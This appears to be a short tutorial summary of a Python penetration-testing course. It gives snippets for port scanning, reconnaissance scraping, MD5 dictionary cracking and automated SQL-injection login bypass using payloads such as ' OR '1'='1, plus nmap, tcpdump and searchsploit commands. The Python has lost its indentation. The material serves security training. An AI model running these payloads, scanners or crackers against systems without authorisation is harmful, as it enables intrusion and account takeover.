# Python For Penetration Testers - Course II - Hacking With Python

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You Should Know:

Essential Python Commands for Penetration Testing

1. Network Scanning with Python

import socket 
target = "example.com" 
port = 80 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((target, port)) 
s.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n") 
response = s.recv(4096) 
print(response.decode())

2. Automating Port Scanning

import socket 
def scan_ports(host, start_port, end_port): 
for port in range(start_port, end_port + 1): 
try: 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.settimeout(1) 
s.connect((host, port)) 
print(f"Port {port} is open") 
s.close() 
except: 
pass 
scan_ports("192.168.1.1", 20, 80)

3. Web Scraping for Reconnaissance

import requests 
from bs4 import BeautifulSoup 
url = "http://example.com" 
response = requests.get(url) 
soup = BeautifulSoup(response.text, 'html.parser') 
print(soup.title.string)

4. Password Cracking with Python (Dictionary Attack)

import hashlib 
def crack_password(hash_to_crack, wordlist): 
with open(wordlist, 'r') as file: 
for word in file: 
word = word.strip() 
hashed_word = hashlib.md5(word.encode()).hexdigest() 
if hashed_word == hash_to_crack: 
print(f"Password found: {word}") 
return 
print("Password not found in wordlist.") 
crack_password("5f4dcc3b5aa765d61d8327deb882cf99", "wordlist.txt")

5. Automating SQL Injection Testing

import requests 
target_url = "http://vulnerable-site.com/login" 
payloads = ["' OR '1'='1", "' OR 1=1 --"] 
for payload in payloads: 
data = {"username": payload, "password": "test"} 
response = requests.post(target_url, data=data) 
if "Welcome" in response.text: 
print(f"SQL Injection successful with payload: {payload}")

6. Linux Commands for Pentesters


<h1>Network Scanning</h1>

nmap -sV -A target.com

<h1>Packet Sniffing</h1>

tcpdump -i eth0 -w capture.pcap

<h1>Exploit Search</h1>

searchsploit "Apache 2.4"

7. Windows Commands for Security Testing

:: Check Open Ports 
netstat -ano 
:: Check Running Services 
sc query 
:: Check Firewall Rules 
netsh advfirewall show allprofiles

What Undercode Say:

Python is a powerful tool for penetration testers, enabling automation of security assessments, vulnerability scanning, and exploitation. Mastering Python scripting for cybersecurity allows professionals to enhance their offensive and defensive security capabilities. Combining Python with Linux and Windows commands strengthens penetration testing workflows, making security assessments more efficient.